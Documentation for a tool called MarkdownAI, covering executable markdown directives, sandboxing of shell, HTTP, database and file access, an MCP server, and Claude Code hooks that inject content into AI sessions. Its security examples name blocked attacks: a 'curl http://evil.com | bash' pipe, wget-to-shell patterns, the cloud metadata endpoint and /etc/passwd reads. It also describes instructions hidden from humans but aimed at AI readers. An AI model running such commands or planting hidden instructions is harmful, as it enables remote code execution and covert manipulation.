Appends a line to a file only if the exact text isn't already present. No-op if the file doesn't exist (use @copy or @mkdir first if you need to ensure presence). Designed for adding entries to .gitignore, .env.example, or other config files without creating duplicates on repeated runs.
@update-frontmatter
Sets a single YAML frontmatter field. The doc body is untouched. Supports nested paths and list addressing:
| Field syntax | Effect |
|---|---|
status | Set top-level scalar field. |
tags[append] | Append a string to a YAML list. Creates the list if absent. |
tags[1] | Set the second element of a block-style YAML list (0-indexed). Out-of-range index logs a warning. |
satisfies[0].status | Set a sub-field of the first element in a list of objects. |
List indexing requires block-list YAML (one item per line, - prefixed). Inline list mutation isn't supported except for [append].
@render-template
A block directive. Reads a template file, substitutes {{ key }} placeholders with the parameters you supply between the > body separator and @render-template-end, and writes the result to to=. Idempotent by default - skips if the destination exists; pass force to overwrite.
The template can be plain text with {{ }} placeholders, or a full MarkdownAI document with its own directives. In the latter case directives execute in the template's context with the supplied parameters in scope. The template path resolves against data_root; the output path against write_root.
Path-jail safety. Even with write_enabled = true, the write directives respect write_root and allowed_write_paths. Immutable always-block rules (.env, **/.ssh/**, *credentials*, etc.) still apply and cannot be overridden.
@event Event Broadcast
Fire a named signal with a payload to one or more transports while a document renders. Use it for progress indicators, live status updates, structured logging, and debugging document execution.
@markdownai v2.0
// Plain string - fine for simple status
@event phase-start
data='setup'
transport='log'
@event-end
// JSON payload - use when you need multiple fields
@event progress
data='{"step": 2, "total": 5, "label": "Loading config"}'
transport='vscode,log'
@event-end
// Render inline in the document output as well
@event build-complete
data='{"status": "ok"}'
transport='mcp'
visible
@event-end
Parameters
| Parameter | Required | Description |
|---|---|---|
name | yes | Event name - identifies what happened (e.g. phase-complete, progress) |
data | yes | The payload. Plain string or JSON object string. JSON is encouraged when sending more than one field. |
transport | no | Comma-separated transport names. Defaults to log if omitted. |
visible | no | Flag (no value). When present, renders the event as a blockquote in the document output. |
Built-in Transports
| Transport | Delivery | Output |
|---|---|---|
mcp | Synchronous | Pushed to EngineResult.events[] before execute() returns - consumed by the MCP server or calling code |
log | Fire-and-forget | Structured line to stderr: [event] name=... data=... document=... ts=... |
vscode | Fire-and-forget | JSON-Lines to /tmp/markdownai-events-<sessionId>.json - VS Code extension reads this for status bar display |
websocket | Fire-and-forget | JSON payload broadcast to all connected WebSocket clients |
file | Fire-and-forget | JSON-Lines appended to a configured file path (absolute, outside document root) |
http | Fire-and-forget | JSON POST to a configured URL (domain must be in the allowlist) |
db | Fire-and-forget | Insert into a configured collection (security jailed) |
All non-mcp transports are fire-and-forget via a worker thread. Network latency, file I/O, and database writes are invisible to rendering time. A document with many @event directives renders in the same time as one with none.
Security
All transports are blocked by default. Enable specific ones in .markdownai/security.json:
{
"events": {
"allowed_transports": ["mcp", "log", "vscode"],
"allow_env_interpolation": false,
"max_value_length": 500,
"onError": "silence"
}
}
| Option | Default | Description |
|---|---|---|
allowed_transports | [] | Transports that are permitted. Empty means all events are silently dropped. |
allow_env_interpolation | false | When false, {{ env.VAR }} in data is dispatched literally. Enable only when needed. |
max_value_length | 500 | Data is truncated to this length (hard cap, never configurable above 500). |
onError | "silence" | "silence" drops blocked events silently, "warn" adds to warnings, "fail" surfaces an error. |
Masking runs unconditionally on data before any dispatch - regardless of the allow_env_interpolation setting. A secret embedded in a JSON value is caught and replaced with ***MASKED***, and a SECURITY_ALERT is added to document warnings. This cannot be bypassed.
Automatic Debug Metadata
Every event carries an automatic meta object requiring no author configuration:
interface EventMeta {
datetime: string // ISO 8601 timestamp
line: number // line number of @event in the source .md file
runId: string // UUID for this execute() call - shared by all events in one run
sessionId: string | null // MCP session ID, or null
model: string | null // AI model name (injected by the calling layer)
tokenUsage: number | null // token count at dispatch time (injected by the calling layer)
git: { hash: string; short: string } | null // git commit at execute() start, null if not in a repo
callstack: string[] // active @phase and @call context, e.g. ["phase:setup", "call:myMacro"]
}
The callstack field tracks which @phase blocks and @call macro invocations the event fired from, outermost to innermost. The git hash is resolved once at execute() start and cached. model and tokenUsage are set by the calling layer (for example, the MCP server) - the engine itself does not have access to AI runtime state.
Consuming Events
For the mcp transport, events are available in EngineResult.events:
const result = execute(ast, { ctx: { security: { eventConfig: { allowed_transports: ['mcp'], ... } } } })
for (const event of result.events) {
console.log(event.name, event.data, event.meta.datetime)
}
Rules
- All transports are blocked by default. Add them to
allowed_transportsto enable. - Masking is unconditional - it runs on every event regardless of other settings.
{{ expression }}indatais only evaluated whenallow_env_interpolation: true.- Data is hard-capped at 500 characters and cannot be configured above that.
- Multiple transports in a single
@eventfire simultaneously - oneEngineEventper transport. - The
mcptransport is the only synchronous one. All others are fire-and-forget.
Standard Library
The standard library ships 32 built-in macros for common tasks. They auto-load when the engine starts - no setup required. Call any of them in any document marked @markdownai.
@markdownai v2.0
@call git-branch /
@call project-manager /
@call code-any-types /
Working on: {{ current_branch }}
Package manager: {{ pkg_manager }}
TypeScript `any` count: {{ any_count }}
@call git-modified /
@if {{ modified_files != "" }}
> Warning: you have uncommitted changes.
@if-end
Macro Groups
Git (9 macros)
branch, status, log, diff stats, staged files, modified files, untracked files, commits ahead, last commit message
Filesystem (7 macros)
directory listing, file search by pattern, large files, recently changed files, tree view, file count by extension, directory size
Project Detection (5 macros)
package manager, primary language, project name, version, test command
Code Analysis (5 macros)
TODO comments, console.log calls, TypeScript any types, test file locations, arbitrary grep
Environment (6 macros)
Node version, OS, port availability, command existence, CI detection, git author
Parameterized Macros
@call fs-find pattern="*.ts" / # find TypeScript files
@call env-port port=3000 / # check if port 3000 is available
@call fs-count ext="ts" / # count files by extension
@call code-grep pattern="TODO" / # grep for pattern
If you define a macro with the same name as a stdlib macro, your definition wins.
Security Overview
MarkdownAI uses a "jail-first" security model: all dynamic operations - database queries, HTTP requests, shell commands - are blocked by default unless you explicitly allow them. This protects you from running untrusted or malicious documents on your system.
Security Config File
Your personal security rules live at ~/.markdownai/security.json. Create one with:
mai security init
mai security show # display active policy
Runtime Modes
| Flag | Mode | Behavior |
|---|---|---|
| (none) | Silent | Blocked directives stripped quietly; events logged to file only |
--verbose | Verbose | Security events also printed to the terminal |
--strict | Strict | Any stripped directive is an error; halts immediately |
Log Files
| File | Purpose |
|---|---|
~/.markdownai/security.json | Your personal rules - allowlists, deny patterns, preferences |
~/.markdownai/audit.log | Permanent log of every security event. Cannot be disabled by any document or config. |
~/.markdownai/runtime.log | All warnings from every run, stored as structured JSON |
Filesystem Confinement
Two independent security layers protect you when documents include or import other files. Both are always active - no setup required, no way to turn them off.
Confinement
All file access is restricted to the document's own directory. Paths navigating above that boundary, absolute paths, and ../ sequences are always blocked.
Content Masking
File content is scanned for credentials, tokens, and connection strings before reaching rendered output. Matches are replaced with [MASKED]. Masking runs before caching - secrets never reach the cache in plain text.
# Include within document root - allowed
@include ./data/report.csv
# Include from a parent directory - requires explicit flag on every invocation
mai render report.md --allow-traversal ../shared-data/
# Absolute path - always rejected, SECURITY_ALERT
@include /etc/passwd
Configuration Options
| Option | What It Controls |
|---|---|
--allow-traversal <path> | Permits access to one specific directory outside document root. Must be provided on every invocation. |
allow_unmasked_paths | Glob patterns for files that skip content masking (in security config) |
allow_unmasked_patterns | Variable name patterns whose values are restored after masking (e.g. NODE_ENV=*) |
Source vs Data vs Write Roots
The path jail splits into three boundaries. Each directive type uses its own boundary so that a skill file installed at ~/.claude/commands/mdd.md can read its sibling templates (source ops) while still reaching into the user's project (data ops).
| Jail | Used by | Default |
|---|---|---|
source_root | @import, @include | "auto" - directory of the entry document |
data_root | @list, @read, @tree, @count, @date file=, @read-frontmatter, @hash, file.exists / isFile / isDir / containsLine / containsSection / frontmatterField, @copy from=, @check / @test working dir | "cwd" - process working directory |
write_root | @mkdir, @copy to=, @append-if-missing, @update-frontmatter, @render-template to= | "cwd" |
Each jail can be set to "auto" (document dir), "cwd" (process working dir), or an absolute path. Each has a companion allowlist (allowed_source_paths, allowed_data_paths, allowed_write_paths) of glob patterns that loosen the boundary. Patterns support ${VAR} expansion against HOME, CLAUDE_SKILL_DIR, CLAUDE_SESSION_ID, and process env vars. Unset variables expand to the empty string (fail-closed).
{
"filesystem": {
"source_root": "auto",
"data_root": "cwd",
"allowed_source_paths": [
"${CLAUDE_SKILL_DIR}/templates/**"
],
"allowed_data_paths": [
"${HOME}/.mdd/**"
],
"write_enabled": false,
"write_root": "cwd",
"allowed_write_paths": [
"${HOME}/.mai-out/**"
]
}
}
Write Gate
Write directives (@mkdir, @copy, @append-if-missing, @update-frontmatter, @render-template) are gated behind filesystem.write_enabled. The default is false - rendering a document that uses write directives without the gate enabled produces a clear error and skips the write. Turn the gate on explicitly only when you trust the document and want it to mutate the filesystem.
The "cwd" default for data_root makes @list ./src and similar paths resolve against the project root regardless of where the document lives. To switch to a document-rooted jail, set filesystem.data_root = "auto" in your security config.
Shell Execution Jail
Controls exactly which shell commands your documents can run via @query. Allowlist-first: every command is blocked by default unless you explicitly permit it.
# Enable shell execution (disabled by default)
mai security shell enable
# Add allowed command patterns
mai security shell add "git log *"
mai security shell add "npm audit *"
mai security shell add "find * -name *.ts"
# Test whether a command would be allowed
mai security shell test "git log --oneline -5"
# ALLOWED: matches allow_pattern "git log *"
mai security shell test "rm -rf /tmp/cache"
# BLOCKED: matches deny_pattern "rm *"
# List current rules
mai security shell list
Configuration
| Option | Default | Description |
|---|---|---|
shell.enabled | false | Master switch - all @query directives are stripped when false |
shell.allow_patterns | [] | Glob patterns for commands permitted to run |
shell.deny_patterns | [] | Glob patterns always blocked (deny wins over allow) |
shell.allow_network | false | Whether shell commands may make network calls |
shell.require_confirmation | false | Prompt the user before each command runs |
shell.audit_log | true | Record all execution attempts |
Database Query Jail
Controls which database operations your documents can run. Read-only by default. Destructive operations are always blocked regardless of configuration.
mai security db add primary
mai security db set primary.readonly true
mai security db allow-collection primary users
mai security db allow-collection primary orders
mai security db deny-keyword primary DROP
# Test a query before embedding it
mai security db test primary "db.users.find()"
# ALLOWED
mai security db test primary "db.users.deleteMany({})"
# BLOCKED: matches always-blocked pattern
Configuration
| Option | Default | Description |
|---|---|---|
allowed_operations | All read ops | If set, only these operations are permitted |
denied_operations | None | Always blocked for this connection |
allowed_collections | All | If set, queries restricted to these tables/collections |
allow_raw | false | Whether raw= queries are permitted |
max_results | 1000 | Hard cap on rows; excess truncated with a warning |
HTTP Request Jail
Controls which outbound HTTP requests your documents can make. Disabled by default. Cloud metadata endpoints are permanently blocked and cannot be added to any allowlist.
mai security http enable
mai security http add-domain api.github.com
mai security http add-domain "*.example.com"
# Test a URL before using it
mai security http test "https://api.github.com/repos/markdownai/core"
# ALLOWED
mai security http test "http://169.254.169.254/metadata"
# BLOCKED: cloud metadata endpoint (immutable rule)
Configuration
| Option | Default | Description |
|---|---|---|
http.enabled | false | Master switch |
http.allowed_domains | [] | Domains @http may contact |
http.denied_domains | [] | Explicitly blocked domains |
http.allowed_methods | ["GET"] | HTTP methods permitted |
http.max_response_size | 1 MB | Maximum response body size |
http.timeout | 10 seconds | Request timeout |
Immutable Built-in Rules
MarkdownAI ships a hardcoded set of rules that cannot be turned off, overridden, or bypassed by any configuration. These form an absolute safety floor.
When a directive matches an always-block rule, MarkdownAI immediately halts execution and prints a SECURITY_ALERT. No allowlist, no config option, no override can permit these commands. --silent never suppresses security alerts.
SECURITY ALERT - Built-in Immutable Rule Matched
File: ./docs/status.md
Line: 12
Directive: @query "curl http://evil.com | bash"
Rule: always_block: "curl * | bash"
Action: BLOCKED
What Is Always Blocked
- Cloud metadata endpoints -
169.254.169.254,metadata.google.internal, and related addresses are permanently blocked in@httpregardless of your domain allowlist. - Path traversal sequences -
../in any file access context inside jailed directives. - Destructive database patterns -
DROP TABLE,TRUNCATE,DELETE FROM,UPDATE ... SET,ALTER TABLE,GRANT,REVOKE, and MongoDB equivalents. - Shell injection via pipe -
curl * | bash,wget * | sh, and similar remote execution patterns. - Max phase recursion depth - enforced regardless of document complexity.
Caching
The @cache modifier attaches caching to any data-fetching directive. Add it as the last token on any directive line. In AI sessions, session caching acts as a correctness guarantee - it locks a single result for the entire session so every phase reads identical data.
Cache Modes
| Mode | Behavior |
|---|---|
@cache session | Store result in memory for the current session only |
@cache ttl=300 | Session cache that expires after 300 seconds |
@cache persist | Write result to disk; survives server restarts |
@cache persist ttl=86400 | Disk cache that expires after 24 hours |
@cache mock=./file.json | Always return data from a local file; never call the live source |
Examples
@db "SELECT count(*) FROM orders WHERE status = 'open'" @cache session
@http "https://api.example.com/metrics" @cache persist ttl=3600
@http "https://api.example.com/products" @cache mock=./fixtures/products.json
Cache Commands
mai cache show # list all cached entries
mai cache show report.md # list entries for a specific document
mai cache clear # clear everything
mai cache clear --session # clear in-memory only
mai cache clear --persist # clear disk cache only
mai cache seed report.md # pre-populate by running all fetches
# Seed from production, work offline
mai cache seed report.md --env .env.production
mai watch report.md
Mock mode is particularly useful for testing. Seed a fixture from production once: mai cache seed report.md --env .env.production --directive db. Then develop against predictable data without a live database connection.
mai strip
mai strip removes all MarkdownAI directives from a document and produces clean, standard Markdown safe to commit, share, or open in any regular viewer. Conditional sections are resolved against your environment - the right branch is kept, the rest discarded.
# Strip and preview
mai strip README.md
# Strip to a file
mai strip README.md -o dist/README.md
# Strip with environment for correct conditional resolution
mai strip docs/guide.md --env .env.production -o dist/guide.md
# Strip an entire directory
mai strip ./docs/ --env .env.production -o ./dist/
The strip command never executes any directives - it only removes or resolves syntax. @note blocks are always removed regardless of the visible flag. @prompt and @constraint blocks are also stripped.
MCP Server
mai serve starts a Model Context Protocol server. When an AI assistant connects, it serves documents intelligently - executing directives, resolving phases lazily, and exposing the document's structure as callable tools.
mai serve
mai serve --cwd ~/projects/my-docs
mai serve --port 3000
11 MCP Tools
| Tool | Description |
|---|---|
read_file | Read and execute a MarkdownAI document. Returns rendered live output. Accepts an optional token budget. |
list_phases | List all @phase blocks in a document with their transitions. |
resolve_phase | Render the content of a specific named phase. Persists @set values into the session state. |
next_phase | Return the phase that follows the current one. |
call_macro | Execute a named @define macro, optionally passing parameters. |
get_env | Retrieve a resolved environment variable by name. |
get_constraints | Return all @constraint blocks sorted by severity. |
execute_directive | Run a single MarkdownAI directive and return its output. |
invalidate_cache | Clear cached rendered output for a file or all files. |
available_directives | Return the full directive catalog with name, form (self-closing / block), and close-tag info. Pass include_plugin_directives=false to exclude plugin-file-only directives. |
get_session_state | Return @set values stashed during prior resolve_phase calls in the same skill_session_id. New in v2. |
Lazy Phase Loading
The MCP server loads only the active phase into AI context at any given time. A 20-phase document never floods the AI with everything at once. The AI works through each phase in sequence, calling next_phase when ready to advance.
// Walk a workflow from start to finish
list_phases({ file: "pipeline.md" })
resolve_phase({ file: "pipeline.md", phase: "implementation" })
next_phase({ file: "pipeline.md", phase: "implementation" })
// "review"
resolve_phase({ file: "pipeline.md", phase: "review" })
PreToolUse Hook
mai init installs a PreToolUse hook into Claude Code or Cursor. After installation, every .md file an AI tries to read directly is checked. If the file is a MarkdownAI document, the hook blocks the raw read and returns an explanation that tells the AI to fetch the file through the MarkdownAI MCP server instead. The MCP server runs every directive and returns the rendered output - so the AI sees live state, never directive syntax.
Detection covers two forms: a bare @markdownai header on the first non-blank line, and YAML frontmatter (a --- block) followed by @markdownai. The latter is what Claude Code slash-command files look like, so MDD's mdd.md and similar files are correctly intercepted.
# Auto-detect your AI client and install
mai init
# Explicit targets
mai init --client claude-code
mai init --client cursor
What Happens During a File Read
- The AI calls its
Readtool against a.mdfile path. - The hook fires, opens the file, and runs the MarkdownAI-document check.
- If the file is plain markdown, the hook exits 0 and the read proceeds untouched.
- If the file is a MarkdownAI document, the hook exits 2 with a redirect message on stderr. Claude Code surfaces the message to the AI and skips the read.
- The redirect message catalogues every MarkdownAI MCP tool (
list_phases,resolve_phase,next_phase,read_file,execute_directive,call_macro,get_constraints,get_env,invalidate_cache,available_directives,get_session_state) with arg shapes, return shapes, and "use this when" guidance plus a five-step workflow. The AI has no ambiguity about how to proceed.
The hook is installed as a node script under ~/.markdownai/hooks/preToolUse.mjs and registered in ~/.claude/settings.json under hooks.PreToolUse with matcher Read. Registration is idempotent - re-running mai init doesn't duplicate entries.
SessionStart Hook and CLAUDE-MarkdownAI.md
Alongside the PreToolUse hook, mai init installs a SessionStart hook that runs each time Claude Code begins a session (or resumes / clears / compacts one). If your project has a file named CLAUDE-MarkdownAI.md at the project root, the hook renders it via mai render and injects the rendered output into the AI's session context. Your regular CLAUDE.md is never touched.
The pattern: keep CLAUDE.md as the static, user-owned project rules. Put live data (today's date, current branch, open features, last test result, etc.) into CLAUDE-MarkdownAI.md using flat MarkdownAI directives. Each new session starts with a fresh render of that file in context.
# CLAUDE-MarkdownAI.md
@markdownai v2.0
@date format="YYYY-MM-DD" label=today /
@count ./.mdd/docs/ match="*.md" label=doc_count /
## Session brief
Today is {{ today }}. The project has {{ doc_count }} feature docs.
@foreach doc in {{ @list ./.mdd/docs/ match="*.md" }}
@read-frontmatter path="{{ doc }}" field="status" label=status /
- {{ doc }} ({{ status }})
@foreach-end
How the Injection Works
The hook emits a JSON envelope on stdout:
{
"hookSpecificOutput": {
"hookEventName": "SessionStart",
"additionalContext": "<rendered markdown>"
}
}
Claude Code reads additionalContext and adds it to the session at start. The AI sees it with the same authority as CLAUDE.md - persistent for the session, system-level weight.
Directive Guidance for CLAUDE-MarkdownAI.md
The render happens once at session start. Use flat, fast directives:
- Recommended:
@date,@count,@list,@read,@read-frontmatter,@hash,@tree,@if/@elseif/@else,@foreach,@set,@env,@call,@import,@include. - Avoid:
@phase/@on-complete- phase semantics are MCP-driven; in one-shot render mode every phase fires at once, defeating the lazy-load purpose. - Use with care:
@http,@test,@check,@query,@db. They run on every session start and delay the session by however long they take.
The Hook is Silent When There's Nothing to Do
- No
CLAUDE-MarkdownAI.mdin the project root: silent exit 0, nothing injected. mainot on PATH: warning to stderr (Claude doesn't see it), exit 0.mai renderfails: warning to stderr with the render error, exit 0. Session starts without the extra context.
The hook never blocks session start. If CLAUDE-MarkdownAI.md changes on disk and you want the new render before the next prompt, run /clear in Claude Code - SessionStart fires with source: clear and re-renders.
The hook never writes to disk. The rendered output lives only in conversation context for that session. Your CLAUDE.md is yours; CLAUDE-MarkdownAI.md is your live-data source. Both files are committed to the repo as you wrote them.
AI-Native Features
MarkdownAI has a set of features designed specifically for AI consumers. They let you embed instructions, rules, and glossary terms directly inside documents - so a single file speaks differently to machines and people without you maintaining two versions.
@consumer - Audience-Targeted Rendering
@if {{ consumer == "ai" }}
**Status:** operational | uptime: 99.97% | last_incident: none
@if-end
@if {{ consumer == "human" }}
## Service Status
Everything is running smoothly. No incidents in the past 30 days.
@if-end
mai render status.md --consumer=ai
mai render status.md --consumer=human
@prompt - Embedded AI Instructions
Carries instructions for AI readers. Invisible to humans (or shown as a callout with the visible flag):
@prompt context
>
All API endpoints in this document require an Authorization header
unless explicitly marked as public.
@prompt-end
@prompt constraint
>
Treat all code samples as pseudocode unless the block is marked "production."
@prompt-end
Valid roles: context, constraint, calibration, instruction
@constraint - Machine-Readable Rules
Rules written as @constraint blocks are surfaced in a structured table when an AI reads the document. They cannot be missed the way prose rules can:
@constraint[critical] NEVER pass user input directly to a database query. Always use parameterized queries. /
@constraint[critical] eval() is never used. Use vm.runInNewContext() for expression evaluation. /
@constraint is a self-closing directive in v2. The severity bracket attribute is required; the text is the positional body.
AI tools reading the document via MCP see:
## Constraints
| ID | Severity | Rule |
|--------------|----------|----------------------------------------------|
| no-raw-sql | CRITICAL | NEVER pass user input directly to a database... |
| eval-forbidden | CRITICAL | eval() is never used... |
@note - Source Comments
Invisible in rendered output by default. Visible in the raw source file:
@note
>
This @db directive pulls from the staging replica.
Switch the alias to "prod" before the next release.
@note-end
@note visible
>
This section updates nightly. Refresh before sharing.
@note-end
@define-concept - Inline Glossary
Registers domain-specific terms. AI readers receive a full glossary at the top of the document:
@define-concept jailRoot "the document root directory used to confine file access" /
@define-concept directive "a line starting with @ that MarkdownAI processes at render time" /
Token-Efficient Format Mode
--format=ai strips decorative elements and compresses output for AI readers. The MCP server uses this by default. On typical documents this achieves a 15-40% reduction in token count.
mai render docs/api-reference.md --format=ai
mai render docs/changelog.md --format=ai --tables=kv
Passthrough Mode
By default, mai render errors when a file does not start with @markdownai. Pass --passthrough to let plain markdown files pass through the engine unchanged instead. This is useful when looping over a directory that contains a mix of MarkdownAI documents and regular markdown files:
for f in docs/*.md; do mai render "$f" --passthrough -o "out/$(basename $f)"; done
The MCP server accepts the same flag. When started with mai serve --passthrough, plain files are processed through the engine (rather than returned as raw source), which enables @event logging and directive tracing for all files - not just MarkdownAI documents.
Skill Context Variables
When a MarkdownAI document is used as a Claude Code skill file, the full slash command invocation context is available as first-class variables in @if conditions and {{ }} interpolations. This enables real engine-evaluated dispatch - the document routes itself based on arguments.
Available Variables
| Variable | Description |
|---|---|
ARGUMENTS / args | Full raw argument string from $ARGUMENTS |
argsList | Positional args, shell-style parsed (quoted strings kept together) |
arg0 - arg3 | Shorthand for argsList[0] through argsList[3] |
CLAUDE_EFFORT | Effort level: low, medium, high, xhigh, or max |
CLAUDE_SESSION_ID | Unique ID for the current Claude Code session |
CLAUDE_SKILL_DIR | Directory containing the skill file |
| Named arg keys | Spread into root scope from skill frontmatter arguments: list |
Argument-Based Dispatch
@markdownai v2.0
@if {{ ARGUMENTS.startsWith("audit") }}
@include ./audit-mode.md /
@elseif {{ ARGUMENTS.startsWith("build") }}
@include ./build-mode.md /
@elseif {{ ARGUMENTS.startsWith("status") }}
@include ./status-mode.md /
@if-end
Use allowed() to validate and default an argument before routing. It returns the value when it is on the list and false otherwise, so the || fallback fires automatically:
@switch {{ allowed(argsList[0], ["audit","build","op"]) || "build" }}
@case "build"
@include ./build-mode.md /
@case "audit"
@include ./audit-mode.md /
@case "op"
@include ./op-mode.md /
@switch-end
Effort-Based Conditionals
@if {{ CLAUDE_EFFORT == "max" }}
@include ./extended-analysis.md /
@elseif {{ CLAUDE_EFFORT == "high" }}
@include ./standard-analysis.md /
@else
@include ./quick-analysis.md /
@if-end
Named Arguments from Frontmatter
---
arguments:
- issue
- branch
---
@markdownai v2.0
@if {{ issue != "" }}
Working on issue: {{ issue }}
@if-end
@if {{ branch != "" }}
Target branch: {{ branch }}
@if-end
Shell Inline Interception
Claude Code skill files support a native shell injection syntax: !`command`. It runs commands before Claude sees the file with no security gates. When a document has a @markdownai header, MarkdownAI takes ownership of all shell execution - including !`command` patterns.
Authors can write either syntax and get the same security behavior. This means a @markdownai document cannot be used as a vector for ungated shell execution even if the author uses Claude Code's own syntax.
@markdownai v2.0
Current branch: !`git branch --show-current`
Files changed: !`git diff --stat | wc -l`
With allowShell: true and matching allow patterns, the commands execute. With allowShell: false (default), they produce empty output.
Opting Out
To let Claude Code handle !`command` natively without security gating:
@markdownai shell-inline="passthrough"
The opt-out is named passthrough rather than disable - the author is explicitly handing control back to Claude Code, which has no security layer.
Security Comparison
| Control | @query | !`cmd` via MarkdownAI | !`cmd` via Claude Code |
|---|---|---|---|
| Disabled by default | Yes | Yes (same allowShell) | No |
| Command allowlist | Yes | Yes | No |
| Deny patterns | Yes | Yes | No |
| Filesystem jail | Yes | Yes | No |
| Immutable block rules | Yes | Yes | No |
| Audit log | Yes | Yes | No |
Named output (label=) | Yes | No | No |
| Works outside Claude Code | Yes | Yes | No |
MDD Integration
MDD and MarkdownAI were built for each other. MDD enforces "document first" development - every feature is written down before any code is written. MarkdownAI makes those documents execute. The integration closes the loop: MDD's own artifacts stop being static files that drift, and start being live documents that reflect the actual state of the project every time they render.
Live Session Context
.mdd/.startup.md with a @markdownai header can query its own data on render - current branch, feature counts by status, last audit summary, recent commits. Claude always enters the session with accurate project state, not whatever .startup.md said last week.
@markdownai v2.0
@call git-branch /
@call git-status /
Current branch: {{ current_branch }}
@query "find .mdd/docs -name '*.md' | wc -l" label=feature_count /
Total features: {{ feature_count }}
Token Economics
The current MDD system loads roughly 10,000 tokens per session. About a third of that is narrative prose - explanations of why rules exist, written for human readers. Claude needs the what and when, not the why.
| Optimization | Token Savings |
|---|---|
@define macros (branch guard, connections, startup) | ~840 tokens |
@if conditional sections | ~400-780 tokens |
Live .startup.md | ~750 tokens |
@consumer=ai narrative stripping | ~1,416 tokens |
@phase lazy loading via MCP | ~3,000-5,000 tokens |
Conservative optimization (macros + conditionals + live startup): roughly a 19-23% reduction. With narrative stripping: about 35%. Full optimization with MCP phase loading: up to 80%.
Accuracy Improvements
Token savings matter, but the accuracy case is more important. A .startup.md rendered from live queries cannot be stale. A connections.md built by mai render cannot reference a doc that doesn't exist. Rules written as @constraint blocks are consistently enforced - rules buried in prose get missed.
The quick wins require no new features - just add @markdownai to .mdd/.startup.md and configure the pre-session hook to run mai render before Claude is invoked.
VS Code Extension
Install the MarkdownAI extension from the VS Code Marketplace. It activates automatically on any .md file that starts with @markdownai on line 1.
# Via Extensions panel: search "MarkdownAI", click Install
# Or via CLI:
code --install-extension markdownai.markdownai
Language Detection
Any .md with @markdownai on line 1 gets the markdownai language type. Works on files already open when VS Code starts.
Syntax Highlighting
All directives highlighted: @env, @if, @define, @phase, @db, @http, @query, @render, @constraint, @prompt, @cache, and {{ }} interpolations.
Snippets
15+ tab-triggered snippets: @def → define/end block, @if → full conditional, @phase → phase skeleton, {{ → interpolation.
Completions
Type @ to see all valid directives. Type @call to see all available macros (stdlib + local + imported) with their output variables.
Hover
Hovering @call name or @define name shows an inline tooltip: macro source, output variable, and description.
Go-to-Definition
F12 or Ctrl+click on @call name jumps to the @define block - even across files via @import.
Find All References
Shift+F12 on @call or @define lists every call site in the current document.
Diagnostics
Red underlines for unclosed blocks (@if without @if-end). Yellow underlines for @call to undefined macros. Hover any underline to read the message.
Live Preview
Click the preview icon in the editor title bar. Shows rendered output; refreshes on save. Requires mai CLI installed.
Available Snippets
| Prefix | Expands To |
|---|---|
mai | @markdownai header |
@define | Full @define name ... @define-end block |
@if | Full @if ... @if-end block |
@ifelse | Full @if ... @else ... @if-end block |
@phase | Phase skeleton with @on-complete |
@prompt | @prompt ... @prompt-end block |
@constraint | @constraint[severity] text / |
@query | @query "command" label=result / |
@http | @http ... @http-end |
{{ | {{ variable }} |
Extension Settings
| Setting | Default | Description |
|---|---|---|
markdownai.diagnostics.enabled | true | Set to false to turn off all diagnostics |
markdownai.diagnostics.warnUndefinedMacros | true | Set to false to skip macro reference checks |
markdownai.stdlibPath | engine stdlib path | Path to stdlib macro definitions, relative to workspace root |
Complete CLI Reference
All mai commands. Universal flags (--env, --cwd, --verbose, --strict, --silent) work on every command.
| Command | Description | Key Flags |
|---|---|---|
mai render <file> | Execute a document and print rendered markdown to stdout | -o <path>, --phase <name>, --consumer <ai|human>, --format=ai, --budget=N, --passthrough, --skill-args "...", --skill-dir <path>, --skill-effort <low|medium|high>, --skill-session-id <id> |
mai build <file> | Render and write to disk | -o <path> (required), --watch |
mai watch <file> | Watch for changes and re-render automatically | --output <path> |
mai strip <file> | Remove all directives, produce plain markdown | -o <path>, --env <file> |
mai validate <file> | Check document for errors and warnings without rendering | --strict |
mai parse <file> | Parse document and output AST as JSON | --node <type>, --pretty |
mai eval "<expression>" | Evaluate a single expression against the environment | --env <file> |
mai init | Install PreToolUse and SessionStart hooks into the AI client. Idempotent. | --client <claude-code|cursor>, --global-claude-md |
mai serve | Start MCP server | --cwd <path>, --port <N>, --passthrough |
mai cache show [file] | List cached entries | --expired, --persist, --session |
mai cache clear [file] | Clear cached data | --session, --persist, --directive <type> |
mai cache seed <file> | Pre-populate cache by running all fetches | --env <file>, --directive <type> |
mai security init | Create or import a security policy | --from .markdownai.json |
mai security show | Display active security policy | - |
mai security shell <sub> | Manage shell jail (enable, disable, add, remove, list, test) | - |
mai security db <sub> | Manage database jail (add, set, allow-collection, deny-keyword, test) | - |
mai security http <sub> | Manage HTTP jail (enable, disable, add-domain, remove-domain, test) | - |
mai security filesystem <sub> | Manage filesystem rules (show, add-block-path, test, test-mask) | - |
mai security audit <sub> | View and manage audit log (show, show --blocked, clear) | - |
mai list-phases <file> | List all phases in a document with their transitions | - |
mai list-macros <file> | List all macros with their source file | - |
mai list-imports <file> | Show the full dependency tree for a document | - |
Complete Directive Reference
Header
| Directive | Description |
|---|---|
@markdownai | Enable MarkdownAI for this file. Must be line 1 (or first line after frontmatter). |
@markdownai v2.0 | Enable with version pin. |
@markdownai shell-inline="passthrough" | Pass Claude Code's !`cmd` syntax through without security gating. |
Environment
| Directive | Description |
|---|---|
@env VAR / | Output variable value as a paragraph. |
@env VAR fallback="value" / | With default when unset. |
@env VAR required / | Fail validation if unset. |
@env VAR required masked / | Required and never appears in output. |
Macros
| Directive | Description |
|---|---|
@define name ... @define-end | Define a named content block. |
@define name with local=true attribute ... @define-end | Local-scoped macro, not shared with parent documents. |
@call name / | Insert macro content. |
@call name param=value / | Insert with named parameters. |
File Resolution
| Directive | Description |
|---|---|
@include ./path.md / | Include file content inline. |
@include ./file.ts lines=N-M / | Include specific line range. |
@import ./path.md / | Import definitions only (macros, connections, env fallbacks) - no content rendered. |
@include ./file @cache session / | Include with session caching. |
Conditionals
| Directive | Description |
|---|---|
@if {{ expression }} | Start conditional block. |
@elseif {{ expression }} | Additional branch. |
@else | Fallback branch. |
@if-end | Close conditional block. |
@switch {{ expression }} ... @switch-end | Multi-branch conditional. |
@case "value" | Branch inside a switch. |
@default | Fallback branch inside a switch. |
Iteration and Variables
| Directive | Description |
|---|---|
@foreach var in {{ source }} ... @foreach-end | Render the body once per item. Source can be a directive expression, a list-typed frontmatter field, a label, or a comma-separated literal. |
@set var = "literal" / | Bind a variable to a literal value (string, number, boolean). |
@set var = {{ expr }} / | Bind a variable to an interpolated expression or sandbox builtin result. |
Templates and Composition
| Directive | Description |
|---|---|
